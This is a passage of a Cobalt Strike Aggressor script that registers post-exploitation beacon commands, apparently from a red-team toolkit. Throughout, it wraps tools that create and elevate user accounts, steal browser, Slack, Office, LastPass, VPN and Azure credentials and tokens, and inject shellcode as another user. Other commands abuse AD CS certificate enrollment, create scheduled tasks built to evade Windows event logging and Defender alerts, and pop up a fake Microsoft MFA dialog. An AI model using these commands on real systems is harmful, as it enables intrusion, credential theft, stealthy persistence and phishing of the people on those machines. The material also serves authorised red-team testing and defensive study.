"ProcessDestroy",
"Closes handle(s) in a process",
"
Command: ProcessDestroy
Summary: Closes specified handle in a specified process, or closes all handles
if one is not specified.
Usage: ProcessDestroy [PID] [OPT:HANDLEID]
PID Required. The process to list the handles of. You must have
permission to open the specified process.
HANDLEID: Optional. The specific handle ID to close, or close all
handles if not specified. The values for HANDLEID must be
between 1 - 65535.
"
);
########################################
# User account functions
########################################
#enableuser [USERNAME] [DOMAIN]
alias enableuser
{
if(size(@_) != 3)
{
berror($1, beacon_command_detail("enableuser"));
berror($1, "Invalid number of parameters");
return;
}
beacon_inline_execute($1, readbof($1, "enableuser"), "go", bof_pack($1, "ZZ", $3, $2));
}
beacon_command_register(
"enableuser",
"Enables and unlocks the specified user account",
"
Command: enableuser
Summary: Activates (and if necessary enables) the specified user account on the
target computer.
Usage: enableuser [USERNAME] [DOMAIN]
USERNAME Required. The user name to activate/enable.
DOMAIN Required. The domain/computer for the account. You must give
the domain name for the user if it is a domain account, or
use \"\" to target an account on the local machine.
"
);
#setuserpass [USERNAME] [PASSWORD] [DOMAIN]
alias setuserpass
{
if(size(@_) != 4)
{
berror($1, beacon_command_detail("setuserpass"));
berror($1, "Invalid number of parameters");
return;
}
beacon_inline_execute($1, readbof($1, "setuserpass"), "go", bof_pack($1, "ZZZ", $4, $2, $3));
}
beacon_command_register(
"setuserpass",
"Sets the specified user\'s password",
"
Command: setuserpass
Summary: Sets the password for the specified user account on the target
computer.
Usage: setuserpass [USERNAME] [PASSWORD] [DOMAIN]
USERNAME Required. The user name to activate/enable.
PASSWORD Required. The new password. The password must meet GPO
requirements.
DOMAIN Required. The domain/computer for the account. You must give
the domain name for the user if it is a domain account, or
use \"\" to target an account on the local machine.
"
);
#addusertogroup [USERNAME] [GROUPNAME] [SERVER] [DOMAIN]
alias addusertogroup
{
if(size(@_) != 5)
{
berror($1, beacon_command_detail("addusertogroup"));
berror($1, "Invalid number of parameters");
return;
}
beacon_inline_execute($1, readbof($1, "addusertogroup"), "go", bof_pack($1, "ZZZZ", $5, $4, $2, $3));
}
beacon_command_register(
"addusertogroup",
"Add the specified user to the specified group",
"
Command: addusertogroup
Summary: Add the specified user to the group. Domain groups only!
Usage: addusertogroup [USERNAME] [GROUPNAME] [SERVER] [DOMAIN]
USERNAME Required. The user name to activate/enable.
GROUPNAME Required. The group to add the user to.
SERVER Required. The target computer to perform the addition on. use \"\" for the local machine
DOMAIN Required. The domain/computer for the account. You must give
the domain name for the user if it is a domain account, or
use \"\" to target an account on the local machine.
"
);
#aadduser [USERNAME] [PASSWORD] [SERVER]
alias adduser
{
local('$bid $username $pass $server');
if(size(@_) < 3 || size(@_) > 4)
{
berror($1, beacon_command_detail("adduser"));
berror($1, "Invalid number of parameters");
return;
}
else if(size(@_) == 3)
{
$bid = $1;
$username = $2;
$pass = $3;
$server = "";
}
else if(size(@_) == 4)
{
$bid = $1;
$username = $2;
$pass = $3;
$server = $4;
}
beacon_inline_execute($bid, readbof($bid, "adduser"), "go", bof_pack($bid, "ZZZ", $username, $pass, $server));
}
beacon_command_register(
"adduser",
"Add a new user to a machine.",
"
Command: adduser
Summary: Add a new user to a machine.
Usage: adduser [USERNAME] [PASSWORD] [SERVER]
USERNAME Required. The name of the new user.
PASSWORD Required. The password of the new user.
SERVER Optional. If entered, the user will be created on that machine. If not, the
local machine will be used.
"
);
#unexpireuser [USERNAME] [DOMAIN]
alias unexpireuser
{
if(size(@_) != 3)
{
berror($1, beacon_command_detail("unexpireuser"));
berror($1, "Invalid number of parameters");
return;
}
beacon_inline_execute($1, readbof($1, "unexpireuser"), "go", bof_pack($1, "ZZ", $3, $2));
}
beacon_command_register(
"unexpireuser",
"Enables and unlocks the specified user account",
"
Command: unexpireuser
Summary: Activates (and if necessary enables) the specified user account on the
target computer.
Usage: unexpireuser [USERNAME] [DOMAIN]
USERNAME Required. The user name to activate/enable.
DOMAIN Required. The domain/computer for the account. You must give
the domain name for the user if it is a domain account, or
use \"\" to target an account on the local machine.
"
);
#chromeKey
alias chromeKey{
beacon_inline_execute($1, readbof($1, "chromeKey"), "go", $null);
}
beacon_command_register(
"chromeKey",
"Decrypts the provided base64 encoded Chrome key",
"
Command: chromeKey
Summary: This command decrypts the provided base64 encoded Chrome key for use
in decrypting cookies. If you get results, download the Cookies file
from either google or modern edge. An example Filepath is:
C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies
You can feed the key and cookie file into Chlonium to decrypt the
contents. Chlonium can be found here:
https://github.com/rxwx/chlonium
Usage: chromeKey
"
);
#slackKey
alias slackKey{
beacon_inline_execute($1, readbof($1, "slackKey"), "go", $null);
}
beacon_command_register(
"slackKey",
"Decrypts the provided base64 encoded Chrome key",
"
Command: slackKey
Summary: This command decrypts the provided base64 encoded Slack key for use
in decrypting cookies. If you get results, download the Cookies file
from slack. An example Filepath is:
C:\\Users\\user\\AppData\\Roaming\\Slack\\Network\\Cookies
Usage: slackKey
"
);
sub bshspawnas {
local('$bid $args $pass $username $domain $shellcode $shellcodelen $user $fp');
$bid = $1;
$domain = $2;
$username = $3;
$pass = $4;
if(-exists $5)
{
$shellcodelen = lof($5);
$fp = openf($5);
$shellcode = readb($fp, $shellcodelen);
closef($fp);
}
else
{
berror($bid, "Could not open file at path " . $5);
return;
}
$user = binfo($bid, "user");
if($user eq "SYSTEM *" || $user eq "SYSTEM")
{
berror($bid, "This function will not function properly as the system user");
return;
}
$args = bof_pack($bid, "ZZZb", $domain, $username, $pass, $shellcode);
beacon_inline_execute($bid, readbof($bid, 'shspawnas'), "go", $args);
}
# shspawnas [DOMAIN] [USERNAME] [PASSWORD] [OPT:SHELLCODEFILE]
alias shspawnas {
local('$shellcodepath $bid $username $pass $domain $ppid');
if(size(@_) < 4)
{
berror($1, "Incorrect argument count");
berror($1, beacon_command_detail('shspawnas'));
return;
}
$bid = $1;
$domain = $2;
$username = $3;
$pass = $4;
if(size(@_) == 4)
{
prompt_file_open("Select shellcode", $null, false, $this);
yield;
$shellcodepath = $1;
}
else
{
$shellcodepath = $5;
}
bshspawnas($bid, $domain, $username, $pass, $shellcodepath);
}
beacon_command_register(
'shspawnas',
'spawn / inject as specified user',
"usage: shspawnas [DOMAIN] [USERNAME] [PASSWORD] [OPT:SHELLCODEFILE]
If shellcode file is not provided a file browser will open so you can select it
use \"\" for domain to log into the local machine
Be aware the user you specify must be able to log into the machine interactivly and the login is recorded as such"
);
# adcs_request [CA] [OPT:TEMPLATE] [OPT:SUBJECT] [OPT:ALTNAME] [OPT:INSTALL] [OPT:MACHINE] [OPT:ADD_APP_POLICY] [OPT:DNS]
alias adcs_request {
local('$params $keys $args $adcs_request_ca $adcs_request_template $adcs_request_subject $adcs_request_altname $adcs_request_alturl $adcs_request_install $adcs_request_machine $app_policy');
if(size(@_) < 2)
{
berror($1, beacon_command_detail("adcs_request"));
berror($1, "Need to provide the Certificate Authority at a minimum");
return;
}
$adcs_request_ca = "";
$adcs_request_template = "";
$adcs_request_subject = "";
$adcs_request_altname = "";
$adcs_request_alturl = "";
$adcs_request_install = 0;
$adcs_request_machine = 0;
$app_policy = 0;
$dns = 0;
$adcs_request_ca = $2;
$adcs_request_template = iff(-istrue $3, $3, "");
$adcs_request_subject = iff(-istrue $4, $4, "");
$adcs_request_altname = iff(-istrue $5, $5, "");
$adcs_request_alturl = iff(-istrue $6, $6, "");
$adcs_request_install = iff(-istrue $7, $7, 0);
$adcs_request_machine = iff(-istrue $8, $8, 0);
$app_policy = iff(-istrue $9, $9, 0);
$dns = iff(-istrue $10, $10, 0);
$args = bof_pack($1, "ZZZZZssss", $adcs_request_ca, $adcs_request_template, $adcs_request_subject, $adcs_request_altname, $adcs_request_alturl, $adcs_request_install, $adcs_request_machine, $app_policy, $dns);
beacon_inline_execute($1, readbof($1, "adcs_request"), "go", $args);
}
beacon_command_register(
"adcs_request",
"Request an enrollment certificate",
"
Command: adcs_request
Summary: This command connects a certificate authority and requests an enrollment
certificate of the specified type for the specified subject and alternative
name. It will also optionally install the certificate for the current context.
Usage: adcs_request [CA] [OPT:TEMPLATE] [OPT:SUBJECT] [OPT:ALTNAME] [OPT:INSTALL] [OPT:MACHINE] [OPT:ADD_APP_POLICY] [OPT:DNS]
CA Required. The certificate authority to use.
TEMPLATE Optional. The certificate type to request. Use \"\" for default of User/Machine
SUBJECT Optional. The subject's distinguished name. Use \"\" for default of current machine / user
ALTNAME Optional. The alternate subject's distinguished name. Use \"\" for default
ALTURL Optional. SAN URL entry, can be used to specify the alternate subject's SID. Use \"\" to omit
INSTALL Optional. Install the certificate in current context? 0 = No, 1 = Yes. Default = 0
MACHINE Optional. Request a certificate for a machine instead of a user? 0 = No, 1 = Yes. Default = 0
ADD_APP_POLICY Optional. Adds App policy to allow client auth and Acting as a certificate agent. (ESC15)
DNS Optional. 1 = Subject Altname given as a DNS name, 0 = Subject alt name given as UPN. Default = 0
All arguments are positional. To a specify a non-default value for a optional you must specify a value for
All arguments prior to that given optional.
Examples:
basic:
adcs_request cert.example.org\\example-CERT-CA
all options:
adcs_request cert.example.org\\example-CERT-CA vulnTemplate CN=Administrator,CN=Users,DC=example,DC=org CN=second_adm,CN=Users,DC=example,DC=org tag:microsoft.com,2022-09-14:sid:S-1-5-21-3006160104-3291460162-27467737-1123 0 0 0 0
use quotes for any arguments with spaces.
"
);
# adcs_request_on_behalf [TEMPLATE] [REQUESTER] [ENROLLMENT_AGENT.pfx] [Download_Name]
alias adcs_request_on_behalf
{
local('$handle $enrollpfx');
if(size(@_) < 5)
{
berror($1, beacon_command_detail("adcs_request_on_behalf"));
return;
}
$handle = openf($4);
$enrollpfx = readb($handle, -1);
closef($handle);
if(strlen($enrollpfx) == 0)
{
berror($1, "unable to open file at path $enrollpfx ");
return;
}
$args = bof_pack($1, "ZZzb", $2, $3, $5, $enrollpfx);
beacon_inline_execute($1, readbof($1, "adcs_request_on_behalf"), "go", $args);
}
beacon_command_register(
"adcs_request_on_behalf",
"Requests an enrollment certificate on behalf of another user",
"
Command: adcs_request_on_behalf
Summary: This command allows you to take a certificate that has XCN_OID_ENROLLMENT_AGENT as an MSApplicationPolicies extension
and allows you to then request a certificate as if you were any other user in the domain.
Usage: adcs_request_on_behalf [TEMPLATE] [REQUESTER] [ENROLLMENT_AGENT.pfx] [Download_Name]
TEMPLATE Required. The Template that you wish to request on behalf of a target user
REQUESTER Required. The domain / username who you want to make the request on behalf of
ENROLLMENT_AGENT.pfx Required. Local file path to where the .pfx is with OID_ENROLLMENT_AGENT extension
Download_Name Required. Name you want this file to have when downloaded by the C2 framework.
On success the newly requested PFX will be available in the cobalt strike downloads tab
in other frameworks it is dependent on proper handling of cobalt strike style download messages.
Example:
adcs_request_on_behalf User Example\\Administrator /tmp/enroll.pfx Admin.pfx"
)
# office_tokens [PID]
alias office_tokens
{
local('$pid $args');
if(size(@_) != 2)
{
berror($1, "usage: office_tokens <pid>");
return;
}
$pid = parseNumber($2, 10);
berror($1, $pid);
$args = bof_pack($1, "i", $pid);
beacon_inline_execute($1, readbof($1, "office_tokens"), "go", $args);
}
beacon_command_register(
"office_tokens",
"Searches memory for Office JWT Access Tokens",
"Command: office_tokens
Usage: office_tokens [PID] "
);
# lastpass lastpass [NUMBER OF PIDs] [PID],[PID],[PID],[PID] ... ...
alias lastpass
{
local('$pid $args $value $i $buffer $arg_sz');
$arg_sz = size(@_);
if(size(@_) < 2)
{
berror($1, "usage: lastpass <pid1> <pid2> <pid3> .. <pidn>");
return;
}
$buffer = allocate(0);
for( $i = 1; $i < $arg_sz; $i++)
{
bwrite($buffer, "i", @_[$i]);
}
bwrite($buffer, "i", 0); # null terminator at the end
closef($buffer);
$value = readb($buffer, -1);
$arg_sz = $arg_sz - 1;
berror($1, $arg_sz);
$args = bof_pack($1, "ib", $arg_sz, $value);
beacon_inline_execute($1, readbof($1, "lastpass"), "go", $args);
berror($1, "FINISHED");
}
beacon_command_register(
"lastpass",
"Searches memory for LastPass passwords and hashes",
"Command: lastpass
Usage: lastpass [NUMBER OF PIDs] [PID],[PID],[PID],[PID] ... "
);
# suspend [PID]
alias suspend {
local('$args');
if(size(@_) < 2)
{
berror($1, beacon_command_detail("suspend"));
return;
}
$args = bof_pack($1, "si", 1, $2);
beacon_inline_execute($1, readbof($1, "suspendresume"), "go", $args);
}
beacon_command_register(
"suspend",
"suspend a process by pid",
"Command: suspend
Usage: suspend [PID]
attempts to suspend the process listed"
);
# resume [PID]
alias resume {
local('$args');
if(size(@_) < 2)
{
berror($1, beacon_command_detail("resume"));
return;
}
$args = bof_pack($1, "si", 0, $2);
beacon_inline_execute($1, readbof($1, "suspendresume"), "go", $args);
}
beacon_command_register(
"resume",
"resume a process by pid",
"Command: resume
Usage: resume [PID]
attempts to resume the process listed"
);
# get_priv [Privledge Name]
alias get_priv {
local('$args');
if(size(@_) < 2)
{
berror($1, beacon_command_detail("get_priv"));
return;
}
$args = bof_pack($1, "z", $2);
beacon_inline_execute($1, readbof($1, "get_priv"), "go", $args);
}
beacon_command_register(
"get_priv",
"Activate a token privledge",
"Command: get_priv
Usage: get_priv [Privledge Name]
Privledge names are listed here https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
They are the equivilent of what you see in whoami /all or our whoami bof from the SA repo
"
);
# ghost_task localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday
# ghost_task localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37
# ghost_task DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
# thx L.N.
alias ghost_task
{
local('$arglen $hostname $operation $taskname $program $argument $username $scheduletype $time $day $args');
$bid = $1;
$arglen = size(@_);
if ($arglen == 1) {
berror($bid, "No computer name (e.g., localhost/remote server hostname) provided.\n");
return;
} else if ($arglen == 2) {
berror($bid, "No reg task operation (e.g., add/delete) provided.\n");
return;
}
$hostname = lc($2);
$operation = lc($3);
if($operation eq "add")
{
if ($arglen < 8) {
berror($bid, beacon_command_detail("ghost_task"));
return;
}
$taskname = lc($4);
$program = lc($5);
$argument = lc($6);
$username = lc($7);
$scheduletype = lc($8);
if($scheduletype eq "weekly") {
$time = lc($9);
$day = lc($10);
$args = bof_pack($bid, "izzzzzzzzz", $arglen, $hostname, $operation, $taskname, $program, $argument, $username, $scheduletype, $time, $day);
}
else if ($scheduletype eq "second") {
$time = lc($9);
$args = bof_pack($bid, "izzzzzzzz", $arglen, $hostname, $operation, $taskname, $program, $argument, $username, $scheduletype, $time);
}
else if ($scheduletype eq "daily") {
$time = lc($9);
$args = bof_pack($bid, "izzzzzzzz", $arglen, $hostname, $operation, $taskname, $program, $argument, $username, $scheduletype, $time);
}
else if ($scheduletype eq "logon") {
$args = bof_pack($bid, "izzzzzzz", $arglen, $hostname, $operation, $taskname, $program, $argument, $username, $scheduletype);
}
else {
berror($bid, "Unknown schedule type.\n");
return;
}
}
else if($operation eq "delete")
{
if ($arglen < 4) {
berror($bid, beacon_command_detail("ghost_task"));
return;
}
$taskname = lc($4);
$args = bof_pack($bid, "izzz", $arglen, $hostname, $operation, $taskname);
}
else
{
berror($bid, beacon_command_detail("ghost_task"));
return;
}
beacon_inline_execute($bid, readbof($bid, "ghost_task"), "go", $args);
}
beacon_command_register(
"ghost_task",
"Create or modify a local or remote scheduled task, without triggering Windows events 4698 and 106.",
"
Command: ghost_task
Summary: Create or modify a local or remote scheduled task, without triggering
Windows events 4698 and 106.
Usage: ghost_task [HOSTNAME/LOCALHOST] [OPERATION] [TASKANME] [PROGRAM] [ARGUMENT] [USERNAME] [SCHEDULETYPE] [TIME/SECOND] [DAY]
- HOSTNAME/LOCALHOST: Remote computer name or localhost.
- OPERATION: add/delete
- add: Create or modify a scheduled task using only registry keys. Requires restarting the Schedule service to load the task definition.
- delete: Delete a scheduled task. Requires restarting the Schedule service to offload the task.
- TASKANME: Name of the scheduled task.
- PROGRAM: Program to be executed.
- ARGUMENT: Arguments for the program.
- USERNAME: User account under which the scheduled task will run.
- SCHEDULETYPE: Supported triggers: second, daily, weekly, and logon.
- TIME/SECOND (applicable for 'second', 'daily', and 'weekly' triggers):
- For 'second' trigger: Specify the frequency in seconds for task execution.
- For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
- DAY (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).
Note: As of October 21, 2023, this tool has been tested on Windows 10, Windows Server 2016, 2019, and 2022
As of October 21, 2023, no alert and no scheduled task creation event (ScheduledTaskCreated action type) will be generated in MDE (Microsoft Defender For Endpoint)
To create a scheduled task using this tool, NT AUTHORITY/SYSTEM privileges are required
After configuring the scheduled task, you'll need to either restart the system or await the next reboot for the task to be loaded into the Schedule service process and subsequently executed
"
);
# slack_cookie [PID]
alias slack_cookie
{
local('$pid $args');
if(size(@_) != 2)
{
berror($1, "usage: slack_cookie <pid>");
return;
}
$pid = parseNumber($2, 10);
berror($1, $pid);
$args = bof_pack($1, "i", $pid);
beacon_inline_execute($1, readbof($1, "slack_cookie"), "go", $args);
}
beacon_command_register(
"slack_cookie",
"Searches memory for Slack tokens",
"Command: slack_cookie
Usage: slack_cookie [PID] "
);
# shutdown [HOSTNAME] \"[MESSAGE]\" [TIME] [CLOSEAPPS] [REBOOT]
beacon_command_register(
"shutdown",
"Shutdown or reboot a local or remote system in the number of seconds provided",
"
Command: shutdown
Summary: Shutdown or reboot the local/remote system with or without a message, with or withough allowing the closing of apps in
the time specified. WARNING: non-zero times will prompt the user. Obviously, remote requires administrative privileges.
Usage: shutdown [HOSTNAME] \"[MESSAGE]\" [TIME] [CLOSEAPPS] [REBOOT]
- HOSTNAME: For localhost use \"\"
- \"[MESSAGE]\": For no message use \"\". Make sure to enclose in quotes.
- [TIME]: The number of seconds before the shutdown/reboot.
- 0 for immediately.
- WARNING: Anything non-zero will prompt user with <message>
- CLOSEAPPS: Whether or not to allow the user to save/close applications
- 0 to allow user to save before closing application
- 1 for close applications with unsaved changes
- REBOOT:
- 1 to reboot the system after shutdown
- 0 to have it stay off (shutdown)
NOTE: The flags (SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_SECURITYFIX | SHTDN_REASON_FLAG_PLANNED) for security patch,
planned reboot are hard-coded but may be added later as changeable or may be changed in entry.c.
"
);
alias shutdown {
local('$bid $hostname $message $time $ca $rb $barch $str');
($bid, $hostname, $message, $time, $ca, $rb) = @_;
# $bid = $1;
# $hostname = $2;
# $message = $3;
# $time = $4;
# $ca = $5;
# $rb = $6;
if($time eq $null || $ca eq $null || $rb eq $null) {
berror($bid, beacon_command_detail("shutdown"));
return;
}
if( ($ca != 0 && $ca != 1) || ($rb != 0 && $rb != 1) ) {
berror($bid, beacon_command_detail("shutdown"));
return;
}
if(bdata($bid)['computer'] ismatch "(?i)$hostname" || bdata($bid)['computer'] ismatch "(?i)localhost") { $hostname = $null; }
$str = "Issuing " . iff(($rb == 0), "shutdown", "reboot") . " to " . iff(($hostname eq ""), "localhost", $hostname) . " in $time seconds" . iff(($message eq ""), ".", " with message '" . $message . "'.") .
" Applications " . iff(($ca eq 0), "closed after user save", "closed without chance to save" . ".\n");
btask($bid, $str, "T1529");
$args = bof_pack($bid, "zziss", $hostname, $message, $time, $ca, $rb);
beacon_inline_execute($bid, readbof($bid, "shutdown"), "go", $args);
}
# global_unprotect
alias global_unprotect {
beacon_inline_execute($1, readbof($1, "global_unprotect"), "go", $null);
}
beacon_command_register(
"global_unprotect",
"Attempts to find, decrypt, and download Global Protect VPN profiles and HIP settings"
"Usage: global_unprotect
There are no arguments to this command"
)
sub bschtaskscreate
{
local('$server $taskpath $taskxml $dialog $fpath $fp $bid $fdata $mode $index $force $args');
$bid = $1;
$server = "";
$fp = $null;
$taskpath = $2;
$mode = 1;
$force = 1;
$fpath = $3;
if(!-canread $fpath)
{
berror($bid, "Unable to read the xml task definition file: $fpath");
return;
}
$fp = openf($fpath);
$fdata = readb($fp, -1);
closef($fp);
$args = bof_pack($bid, "ZZZii", $server, $taskpath, $fdata, $mode, $force);
beacon_inline_execute($bid, readbof($bid, "schtaskscreate"), "go", $args);
}
# make_token_cert [PFX LOCAL PATH] [OPT:PFX PASSWORD]
alias make_token_cert
{
local('$handle $certpath $cert $password $args');
if(size(@_) < 2)
{
berror($1, "usage: make_token_cert [.PFX LOCAL PATH] [OPT:PFX PASSWORD]");
return;
}
$certpath = $2;
$password = iff($3, $3, "");
if(!-canread $certpath)
{
berror($1, "Unable to read $certpath on local system");
return;
}
$handle = openf($certpath);
$cert = readb($handle, -1);
closef($handle);
$args = bof_pack($1, "bZ", $cert, $password);
beacon_inline_execute($1, readbof($1, "make_token_cert"), "go", $args);
}
beacon_command_register(
"make_token_cert",
"Applies an impersonation token based on the Alt Name in a supplied .pfx file",
"Command: make_token_cert
Usage make_token_cert [PFX LOCAL PATH] [OPT:PFX PASSWORD]
Takes the path to a .pfx and optionally the password to decrypt the .pfx.
Reads it into the certificate store for the current user and creates an impersonation token with it.
Then deletes it from the users certificate store.");
# get_azure_token [CLIENT ID] [SCOPE] [BROWSER] [OPT:HINT] [OPT:BROWSER PATH]
alias get_azure_token
{
#I'm going to do validation on the bof side since that works more cross implant
local('$clientid $scope $browserType $hint $browserPath $args')
if(size(@_) < 4)
{
berror($1, beacon_command_detail("get_azure_token"));
return;
}
$clientid = $2;
$scope = $3;
$browserType = $4;
$hint = iff(-istrue $5, $5, "");
$browserPath = iff(-istrue $6, $6, "");
$args = bof_pack($1, "zzizz", $clientid, $scope, $browserType, $hint, $browserPath);
beacon_inline_execute($1, readbof($1, "get_azure_token"), "go", $args);
}
beacon_command_register(
"get_azure_token",
"perform an OAuth code grant against azure and print the returned tokens",
"Usage: get_azure_token [CLIENT ID] [SCOPE] [BROWSER] [OPT:HINT] [OPT:BROWSER PATH]
The client_id specified must already have consent in the tennant and accept http://localhost as the redirect URL
see https://github.com/dirkjanm/ROADtools/blob/master/roadtx/roadtools/roadtx/firstpartyscopes.json for many examples.
scope must match what is expected for the given client_id. These can similarly be found in the roadtools link above.
hint if provided should match the email of the user who you want to authenticate as. There must exist an existing saved login for said user.
When not provided this command will fail if more then one saved login exists.
browser_path is the full path the the browser executable. Use it if non-standard path or browser is used.
browser should an integer with one of the following values:
0 (edge)
1 (chrome)
2 (default)
3 (other)
default in this context means whatever the user has set as the default link handler for https.
Example:
Log into azure pretending to be the first party Azure powershell module (Connect-AZAccount)
get_azure_token 1950a258-227b-4e31-a9cf-717495945fc2 \"74658136-14ec-4630-ad9b-26e160ff0fc6/user_impersonation offline_access openid profile\" 2 \"your azure email here\"
"
);
alias ask_mfa {
local('$mfa_number $args');
if(size(@_) != 2)
{
berror($1, "usage: ask_mfa <mfa_number>");
return;
}
$mfa_number = parseNumber($2, 10);
# Validate MFA number range (typically 0-99 for 2-digit codes)
if($mfa_number < 0 || $mfa_number > 99)
{
berror($1, "MFA number should be between 0-99");
return;
}
$args = bof_pack($1, "i", $mfa_number);
beacon_inline_execute($1, readbof($1, "ask_mfa"), "go", $args);
}
beacon_command_register(
"ask_mfa",
"Displays a fake Microsoft MFA approval dialog",
"Command: ask_mfa\n\nUsage: ask_mfa [NUMBER]\n\nDisplays a fake Microsoft Authenticator approval dialog with the specified number.\nThe dialog auto-closes after 30 seconds or when the user closes it.\n\nExample: ask_mfa 42"
);